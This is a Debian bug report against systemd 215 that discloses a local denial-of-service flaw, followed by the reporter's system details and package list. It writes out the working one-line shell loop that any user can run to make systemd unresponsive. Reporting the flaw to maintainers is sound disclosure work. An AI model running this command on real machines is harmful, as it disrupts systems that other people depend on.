Bug#839811: systemd causes slow system with systemd-notify empty string

[Mark Bain]

Package: systemd
Version: 215-17+deb8u5
Severity: important

As reported in:
- https://www.grahamcluley.com/48-characters-crash-linux-distros-finds-admin/
-https://www.agwa.name/blog/post/how_to_crash_systemd_in_one_tweet
- https://github.com/systemd/systemd/issues/4234#issuecomment-250289253

The following command (run by any user) effects a dos attack on the system:

while true; do NOTIFY_SOCKET=/run/systemd/notify systemd-notify ""; done



-- Package-specific info:

-- System Information:
Debian Release: 8.6
  APT prefers stable
  APT policy: (700, 'stable'), (500, 'stable-updates'), (1, 'testing')
Architecture: amd64 (x86_64)

Kernel: Linux 3.16.0-4-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages systemd depends on:
ii  acl             2.2.52-2
ii  adduser         3.113+nmu3
ii  initscripts     2.88dsf-59
ii  libacl1         2.2.52-2
ii  libaudit1       1:2.4-1+b1
ii  libblkid1       2.25.2-6
ii  libc6           2.19-18+deb8u6
ii  libcap2         1:2.24-8
ii  libcap2-bin     1:2.24-8
ii  libcryptsetup4  2:1.6.6-5
ii  libgcrypt20     1.6.3-2+deb8u2
ii  libkmod2        18-3
ii  liblzma5        5.1.1alpha+20120614-2+b3
ii  libpam0g        1.1.8-3.1+deb8u1+b1
ii  libselinux1     2.3-2
ii  libsystemd0     215-17+deb8u5
ii  mount           2.25.2-6
ii  sysv-rc         2.88dsf-59
ii  udev            215-17+deb8u5
ii  util-linux      2.25.2-6

Versions of packages systemd recommends:
ii  dbus            1.8.20-0+deb8u1
ii  libpam-systemd  215-17+deb8u5

Versions of packages systemd suggests:
pn  systemd-ui  <none>

-- no debconf information
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: systemd-delta.txt
URL: <http://lists.alioth.debian.org/pipermail/pkg-systemd-maintainers/attachments/20161005/fbe415a9/attachment-0003.txt>
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: systemd-analyze-dump.txt
URL: <http://lists.alioth.debian.org/pipermail/pkg-systemd-maintainers/attachments/20161005/fbe415a9/attachment-0004.txt>
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: dsh-enabled.txt
URL: <http://lists.alioth.debian.org/pipermail/pkg-systemd-maintainers/attachments/20161005/fbe415a9/attachment-0005.txt>
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: fstab
URL: <http://lists.alioth.debian.org/pipermail/pkg-systemd-maintainers/attachments/20161005/fbe415a9/attachment-0001.ksh>